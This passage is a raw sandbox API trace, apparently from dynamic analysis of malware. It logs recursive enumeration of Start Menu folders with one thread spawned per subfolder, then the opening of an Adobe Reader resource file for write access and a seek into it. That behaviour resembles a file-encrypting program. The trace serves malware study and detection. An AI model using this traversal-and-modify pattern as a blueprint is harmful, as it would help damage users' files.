Configuration Management.lnk", _String2="..") returned 1 [0172.803] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0172.803] wcscmp (_String1="services.lnk", _String2=".") returned 1 [0172.803] wcscmp (_String1="services.lnk", _String2="..") returned 1 [0172.803] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Configuration.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0172.803] wcscmp (_String1="System Configuration.lnk", _String2=".") returned 1 [0172.803] wcscmp (_String1="System Configuration.lnk", _String2="..") returned 1 [0172.803] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0172.803] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1 [0172.803] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1 [0172.803] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0172.803] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2=".") returned 1 [0172.803] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2="..") returned 1 [0172.803] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0172.803] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2=".") returned 1 [0172.803] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2="..") returned 1 [0172.803] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0172.804] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0172.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0172.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d0b0) returned 1 [0172.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 Thread: id = 3451 os_tid = 0x1d98 [0172.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205deb0 [0172.809] wcscpy (in: _Dest=0x4205deb0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0172.809] wcscat (in: _Dest=0x4205deb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0172.809] wcscat (in: _Dest=0x4205deb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" [0172.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0172.810] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0172.810] wcscmp (_String1=".", _String2=".") returned 0 [0172.810] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.810] wcscmp (_String1="..", _String2=".") returned 1 [0172.810] wcscmp (_String1="..", _String2="..") returned 0 [0172.810] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0172.810] wcscmp (_String1="Accessibility", _String2=".") returned 1 [0172.810] wcscmp (_String1="Accessibility", _String2="..") returned 1 [0172.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd651e0 [0172.810] wcscpy (in: _Dest=0x1cd651e0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0172.810] wcscat (in: _Dest=0x1cd651e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0172.811] wcscat (in: _Dest=0x1cd651e0, _Source="Accessibility" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" [0172.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd651e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2af8 [0172.812] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator.lnk", cAlternateFileName="CALCUL~1.LNK")) returned 1 [0172.812] wcscmp (_String1="Calculator.lnk", _String2=".") returned 1 [0172.812] wcscmp (_String1="Calculator.lnk", _String2="..") returned 1 [0172.812] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0172.812] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0172.812] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0172.812] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="displayswitch.lnk", cAlternateFileName="DISPLA~1.LNK")) returned 1 [0172.812] wcscmp (_String1="displayswitch.lnk", _String2=".") returned 1 [0172.812] wcscmp (_String1="displayswitch.lnk", _String2="..") returned 1 [0172.812] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Math Input Panel.lnk", cAlternateFileName="MATHIN~1.LNK")) returned 1 [0172.812] wcscmp (_String1="Math Input Panel.lnk", _String2=".") returned 1 [0172.812] wcscmp (_String1="Math Input Panel.lnk", _String2="..") returned 1 [0172.812] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mobility Center.lnk", cAlternateFileName="MOBILI~1.LNK")) returned 1 [0172.812] wcscmp (_String1="Mobility Center.lnk", _String2=".") returned 1 [0172.812] wcscmp (_String1="Mobility Center.lnk", _String2="..") returned 1 [0172.812] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkProjection.lnk", cAlternateFileName="NETWOR~1.LNK")) returned 1 [0172.812] wcscmp (_String1="NetworkProjection.lnk", _String2=".") returned 1 [0172.812] wcscmp (_String1="NetworkProjection.lnk", _String2="..") returned 1 [0172.812] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0172.812] wcscmp (_String1="Paint.lnk", _String2=".") returned 1 [0172.813] wcscmp (_String1="Paint.lnk", _String2="..") returned 1 [0172.813] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0172.813] wcscmp (_String1="Remote Desktop Connection.lnk", _String2=".") returned 1 [0172.813] wcscmp (_String1="Remote Desktop Connection.lnk", _String2="..") returned 1 [0172.813] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snipping Tool.lnk", cAlternateFileName="SNIPPI~1.LNK")) returned 1 [0172.813] wcscmp (_String1="Snipping Tool.lnk", _String2=".") returned 1 [0172.813] wcscmp (_String1="Snipping Tool.lnk", _String2="..") returned 1 [0172.813] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sound Recorder.lnk", cAlternateFileName="SOUNDR~1.LNK")) returned 1 [0172.813] wcscmp (_String1="Sound Recorder.lnk", _String2=".") returned 1 [0172.813] wcscmp (_String1="Sound Recorder.lnk", _String2="..") returned 1 [0172.813] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sticky Notes.lnk", cAlternateFileName="STICKY~1.LNK")) returned 1 [0172.813] wcscmp (_String1="Sticky Notes.lnk", _String2=".") returned 1 [0172.813] wcscmp (_String1="Sticky Notes.lnk", _String2="..") returned 1 [0172.813] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Center.lnk", cAlternateFileName="SYNCCE~1.LNK")) returned 1 [0172.813] wcscmp (_String1="Sync Center.lnk", _String2=".") returned 1 [0172.813] wcscmp (_String1="Sync Center.lnk", _String2="..") returned 1 [0172.813] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0172.813] wcscmp (_String1="System Tools", _String2=".") returned 1 [0172.813] wcscmp (_String1="System Tools", _String2="..") returned 1 [0172.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050d0b0 [0172.814] wcscpy (in: _Dest=0x2050d0b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0172.814] wcscat (in: _Dest=0x2050d0b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0172.814] wcscat (in: _Dest=0x2050d0b0, _Source="System Tools" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" [0172.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2050d0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b00 [0172.815] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0172.815] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0172.815] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0172.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050d420 [0172.815] wcscpy (in: _Dest=0x2050d420, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0172.815] wcscat (in: _Dest=0x2050d420, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0172.815] wcscat (in: _Dest=0x2050d420, _Source="Tablet PC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" [0172.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2050d420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b04 [0172.816] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Center.lnk", cAlternateFileName="WELCOM~1.LNK")) returned 1 [0172.816] wcscmp (_String1="Welcome Center.lnk", _String2=".") returned 1 [0172.816] wcscmp (_String1="Welcome Center.lnk", _String2="..") returned 1 [0172.816] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0172.817] wcscmp (_String1="Windows PowerShell", _String2=".") returned 1 [0172.817] wcscmp (_String1="Windows PowerShell", _String2="..") returned 1 [0172.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x20278b30 [0172.817] wcscpy (in: _Dest=0x20278b30, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0172.817] wcscat (in: _Dest=0x20278b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0172.817] wcscat (in: _Dest=0x20278b30, _Source="Windows PowerShell" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" [0172.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b08 [0172.818] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0172.818] wcscmp (_String1="Wordpad.lnk", _String2=".") returned 1 [0172.818] wcscmp (_String1="Wordpad.lnk", _String2="..") returned 1 [0172.818] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 0 [0172.818] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0172.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0172.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205deb0) returned 1 [0172.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508a90) returned 1 Thread: id = 3452 os_tid = 0x1de8 [0172.838] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\saslprepprofile_norm_bidi.spp")) returned 0x20 [0172.838] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp", dwFileAttributes=0x20) returned 1 [0183.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ac0 [0183.799] GetFileSizeEx (in: hFile=0x2ac0, lpFileSize=0x3631fa60 | out: lpFileSize=0x3631fa60*=13724) returned 1 [0183.799] SetFilePointerEx (in: hFile=0x2ac0, liDistanceToMove=0x3598, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 